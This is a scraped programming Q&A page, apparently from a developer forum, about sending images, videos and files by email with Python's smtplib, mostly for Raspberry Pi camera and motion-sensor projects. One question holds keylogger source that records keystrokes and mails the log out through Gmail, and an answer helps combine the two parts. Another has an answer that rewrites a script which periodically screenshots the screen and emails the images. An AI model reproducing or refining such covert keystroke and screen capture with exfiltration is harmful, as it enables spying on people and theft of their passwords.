Raspberry pi:send only last captured image using webcam - python

I have captured image using webcam and when i press button it sends mail.I use while loop as shown in below code,this code is running perfectly but problem is this program send so many image(also send earlier capured image)while we stop the program to run,so there are so many images attached in one mail only.Now i want program continuonsly running in raspberry pi but still it should be mail only last captured image so what i have to do changes for that?
Thanks in advance.
This is my code:
import smtplib
import time
import subprocess
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import RPi.GPIO as GPIO
# Define these once; use them twice!
strFrom = 'example#gmail.com'
strTo = 'example#gmail.com'
#create email
# Create the root message and fill in the from, to, and subj$
msgRoot = MIMEMultipart()
msgRoot['Subject'] = 'subject'
msgRoot['From'] = strFrom
msgRoot['To'] = strTo
GPIO.setmode(GPIO.BCM)
GPIO.setup(4, GPIO.IN)
print "press button to send email"
while True:
input=GPIO.input(4)
if input == True:
print "button pressed"
subprocess.Popen(["fswebcam","-r 640x480", "capture.jpg"])
time.sleep(2)
# This example assumes the image is in the current
# directory
fp = open('capture.jpg', 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgRoot.attach(msgImage)
# send mail
s = smtplib.SMTP('smtp.gmail.com',587)
s.starttls()
s.login('example#gmail.com' , 'password')
s.sendmail(strFrom, strTo,msgRoot.as_string())
s.close()
print "Email sent"
time.sleep(0.2)

msgRoot.attach(msgImage)
msgRoot.set_payload(msImage) #Such modified
Because you are using the same copy of the annex has been superimposed on the upswing

Related

How receive Screenshoot in Png formate not in base64? pls Add that function to my code [duplicate]

This question already has answers here:
How do I make function decorators and chain them together?
(20 answers)
Closed 2 years ago.
i am make a python3 script that send the screenshoot to my mail after specific interval of time . But i am receiving the screenshoot in form of bsee64 not in png/jpg .pls Add that functionality to my code
Code is Here
from _multiprocessing import send
from typing import BinaryIO
from PIL import ImageGrab
import base64, os, time
import smtplib
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
# [!]Remember! You need to enable 'Allow less secure apps' in your #google account
# Enter your gmail username and password
s.login("zainali90900666#gmail.com", "password")
# message to be sent
while True:
snapshot = ImageGrab.grab() # Take snap
file = "scr.jpg"
snapshot.save(file)
f: BinaryIO = open('scr.jpg', 'rb') # Open file in binary mode
data = f.read()
data = base64.b64encode(data) # Convert binary to base 64
f.close()
os.remove(file)
message = data # data variable has the base64 string of screenshot
# Sender email, recipient email
s.sendmail("zainali90900666#gmail.com", "zainali90900666#gmail.com", message)
time.sleep(some_time)
You are recieving the image as base64 encoded text because you have given the data in the message parameter which is where the body of the email is supposed to go.
I rewritten the code, and this should work for you without a problem :)
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from PIL import ImageGrab
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666#gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666#gmail.com"
msg['To'] = "zainali90900666#gmail.com"
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("zainali90900666#gmail.com", "zainali90900666#gmail.com", msg.as_string())
# Change this value to your liking
time.sleep(2)
Source: https://medium.com/better-programming/how-to-send-an-email-with-attachments-in-python-abe3b957ecf3

Having trouble with the python 3.4.1 code. Wont follow through with task given

I'm trying to code a keylogger that sends its log file to my email address. The KeyLogger and Email work fine separately but when put in the same IDLE file only the one listed first works and the one second does not.
Ex)
The code I'm using - the keylogger works fine because it is before the email but I was wondering how to get them both to work at the same time.
from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
#keylogger
log_dir = "C:\KeyLogger Python\Key_InputLog.txt"
logging.basicConfig(filename=(log_dir), level=logging.DEBUG, format='%
(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
#sending email to self.
email_sender = 'Emailhere#gmail.com'
email_receive = 'Emailhere#gmail.com'
password = 'Password!'
subject = 'KLE - Key_InputLog.txt'
msg = MIMEMultipart()
msg['From'] = email_sender
msg['to'] = email_receive
msg['Subject'] = subject
body = 'Sending a message via Python 3'
msg.attach(MIMEText(body,'plain'))
filename='Key_InputLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_sender,password)
server.sendmail(email_sender,email_receive,text)
server.quit()
Move the code that needs to be run on an event into the on_press() function instead of keeping it at the module level.

smtplib sending multiple messages instead of one

I am trying to run a python script at bootup which will take a ~10 second video on applying an external input (such as push button, IR sensor etc, and in our case an ultrasonic sensor), and then mail this video to specified email addresses using the SMTPlib library of Python.
All of this is working fine. However, when using this input multiple times, the Raspberry Pi sends multiple videos (taken by pushing the button in the past) to the email address instead of the one initiated by the last input. Hence, pushing the button 1 time would send 1 video; pushing it 2 times would send a new one along with the last one; pushing it 3 times would send a new one and the last two as well, and so on.
I even tried inserting an os.remove() right after the mail is sent in the python script. After running the program, running an ls shows the file is indeed deleted. Yet somehow, these deleted videos make its way into the email. Could it be it is stored somewhere in the memory when smtplib is used?
The script in mention is below :
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
emailfrom = "xyz#abc.com"
emailto = "xyz123#abc.com"
username = "xyz#abc.com"
password = "pass"
msg = MIMEMultipart()
msg["From"] = emailfrom
msg["To"] = emailto
msg["Subject"] = "Email Subject -- "
msg.preamble = "Email Body --"
while(True):
d=0
# Possibly the relevant section
d = pulse_d*17150
d= round(d, 2)
if(d<100):
with picamera.PiCamera() as camera:
camera.start_preview()
camera.start_recording('/home/pi/video.h264')
time.sleep(5)
camera.stop_recording()
camera.stop_preview()
time.sleep(5)
fileToSend = "/home/pi/video.h264"
ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
GPIO.output(test, True)
ctype = "application/octet-stream"
maintype, subtype = ctype.split("/", 1)
fp = open(fileToSend, "rb")
GPIO.output(test,False)
attachment = MIMEBase(maintype, subtype)
attachment.set_payload(fp.read())
fp.close()
encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
msg.attach(attachment)
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(username,password)
server.sendmail(emailfrom, emailto, msg.as_string())
server.quit()
os.remove("/home/pi/video.h264")
I think you should create new message instead of reuse the old one.
Move the code where you create msg inside while loop
The problem is here:
msg.attach(attachment)
You attach files to the same message, but don't remove old attachments.

Button Press To Shutdown Raspberry Pi Python

I am writing a script for a surveillance camera. I have programmed it to take a picture when motion is detected (PIR sensor) then attach the photo to an email, to a chosen recipient. However because I am running this without a screen, mouse or keyboard attached I had no way to turn the device off without pulling the plug! so I created a script to turn off the computer on a button press(this works fine on its own) however, because the rest of the code is in a loop I don't know where to place it. Keeping in mind I need to be able to turn it off any where in the code.
If you have any ideas they would be appreciated
Thanks
James
import os, re
import sys
import smtplib
import RPi.GPIO as GPIO
import time
import picamera
inport os
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import time
import RPi.GPIO as gpio
GPIO.setmode(GPIO.BCM)
GPIO_PIR = 4
print ("PIR Module Test (CTRL-C to exit)")
GPIO.setup(GPIO_PIR,GPIO.IN)
Current_State = 0
Previous_State = 0
try:
print ("Waiting for PIR to settle ...")
while GPIO.input(GPIO_PIR)==1:
Current_State = 0
print (" Ready")
while True :
Current_State = GPIO.input(GPIO_PIR)
surv_pic = open('/home/pi/Eaglecam/surveillance.jpg', 'wb')
if Current_State==1 and Previous_State==0:
print(" Motion detected!")
with picamera.PiCamera() as cam:
cam.capture(surv_pic)
surv_pic.close()
print(' Picture Taken')
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
sender = '**************'
password = "**********"
recipient = '**************'
subject = 'INTRUDER DETECTER!!'
message = 'INTRUDER ALLERT!! INTRUDER ALERT!! CHECK OUT THIS PICTURE OF THE INTRUDER! SAVE THIS PICTURE AS EVIDENCE!'
directory = "/home/pi/Eaglecam/"
def main():
msg = MIMEMultipart()
msg['Subject'] = 'INTRUDER ALERT'
msg['To'] = recipient
msg['From'] = sender
files = os.listdir(directory)
jpgsearch = re.compile(".jpg", re.IGNORECASE)
files = filter(jpgsearch.search, files)
for filename in files:
path = os.path.join(directory, filename)
if not os.path.isfile(path):
continue
img = MIMEImage(open(path, 'rb').read(), _subtype="jpg")
img.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(img)
part = MIMEText('text', "plain")
part.set_payload(message)
msg.attach(part)
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo
session.login(sender, password)
session.sendmail(sender, recipient, msg.as_string())
session.quit()
if __name__ == '__main__':
print(' Email Sent')
Previous_State=1
elif Current_State==0 and Previous_State==1:
print(" Ready")
Previous_State=0
time.sleep(0.01)
import time
import RPi.GPIO as gpio
except KeyboardInterrupt:
print('Quit')
GPIO.cleanup()
Here is the shutdown section of the script. Where would I place this in the loop?
gpio.setmode(gpio.BCM)
gpio.setup(7, gpio.IN, pull_up_down=gpio.PUD_UP)
buttonReleased = True
while buttonReleased:
gpio.wait_for_edge(7, gpio.FALLING)
buttonReleased = False
for i in range(1):
time.sleep(0.1)
if gpio.input(7):
buttonReleased = True
break
Two separate scripts would be unnecessary for this project.
You can do this a couple ways.
Create a global boolean variable called shutdownButton or whatever. Use a callback function for the GPIO pin, and set shutdownButton = True in the callback. And then change your main loop to be while not shutdownButton: instead of while True:.
You could just change your main loop to while gpio.input(7): instead of while True: (assuming you are pulling the pin up and then grounding it down with your switch).
And then finally just add a shutdown like os.system('sudo shutdown -h now') or call some other script you want to run to clean it up. The point is you just need a function to break out of your main loop when the button has been pressed and then shut down your pi at the end of the program.
There are other ways to do this also (I personally like the kernel patches from Adafruit that allow a power switch configuration to be added to /etc/modprobe.d...) but I only listed methods that applied directly to your question.

Motion Sensing Loop Error Python?

Hi Guys I have been working on this code for quite a while but once the code has sensed motion, taken a picture and sent it off as an email attachment it works once but once the state returns to ready it comes up with this error but I can't understand why. I apologise for including the whole code because although the error states line 43 I'm not to sure what's causing it to go wrong.
any suggestions would be greatly appreciated. I am a beginner in python programming so I may be missing something very obvious. By the way I'm running this on a raspberry pi for anyone who would like to test out the code.
Thanks
import os, re
import sys
import smtplib
import RPi.GPIO as GPIO
import time
import picamera
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
GPIO.setmode(GPIO.BCM)
GPIO_PIR = 4
print "PIR Module Test (CTRL-C to exit)"
GPIO.setup(GPIO_PIR,GPIO.IN)
Current_State = 0
Previous_State = 0
cam = picamera.PiCamera()
try:
print "Waiting for PIR to settle ..."
while GPIO.input(GPIO_PIR)==1:
Current_State = 0
print " Ready"
while True :
Current_State = GPIO.input(GPIO_PIR)
if Current_State==1 and Previous_State==0:
print " Motion detected!"
cam.capture('/home/pi/Eaglecam/surveillance.jpg')
print('picture taken')
cam.close()
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
sender = '*******************'
password = "secret!!"
recipient = '*********************'
subject = 'INTRUDER DETECTER!!'
message = 'INTRUDER ALLERT!! INTRUDER ALERT!! CHECK OUT THIS PICTURE OF THE INTRUDER! SAVE THIS PICTURE AS EVIDENCE!'
directory = "/home/pi/Eaglecam/"
def main():
msg = MIMEMultipart()
msg['Subject'] = 'INTRUDER ALERT'
msg['To'] = recipient
msg['From'] = sender
files = os.listdir(directory)
jpgsearch = re.compile(".jpg", re.IGNORECASE)
files = filter(jpgsearch.search, files)
for filename in files:
path = os.path.join(directory, filename)
if not os.path.isfile(path):
continue
img = MIMEImage(open(path, 'rb').read(), _subtype="jpg")
img.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(img)
part = MIMEText('text', "plain")
part.set_payload(message)
msg.attach(part)
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo
session.login(sender, password)
session.sendmail(sender, recipient, msg.as_string())
session.quit()
if __name__ == '__main__':
print(' Email Sent')
Previous_State=1
elif Current_State==0 and Previous_State==1:
print " Ready"
Previous_State=0
time.sleep(0.01)
except KeyboardInterrupt:
print " Quit"
GPIO.cleanup()
Here is the Error:
Traceback (most recent call last):
File "/home/pi/Python/hi2.py", line 43, in <module>
cam.capture('/home/pi/Eaglecam/surveillance.jpg')
File "/usr/lib/python2.7/dist-packages/picamera/camera.py", line 1446, in capture
camera_port, output_port = self._get_ports(use_video_port, splitter_port)
File "/usr/lib/python2.7/dist-packages/picamera/camera.py", line 708, in _get_ports
self._camera[0].output[self.CAMERA_CAPTURE_PORT]
TypeError: 'NoneType' object has no attribute '__getitem__'
Try not persisting your cam object...picamera flushes and closes as it sees fit so you may be having problems calling the object repeatedly with the code you are using. Also, you are calling the .close() method on your cam object after if takes the first picture. I might accomplish this like so:
surv_pic = open('/home/pi/Eaglecam/surveillance.jpg', 'wb')
if Current_State==1 and Previous_State==0:
print " Motion detected!"
with picamera.PiCamera() as cam:
##if camera is not producing pictures because it is not warmed up yet uncomment the next two lines
##cam.start_preview()
##time.sleep(2)
cam.capture(surv_pic)
surv_pic.close()
SMTP_SERVER = 'smtp.gmail.com'
## continue as is from here

Categories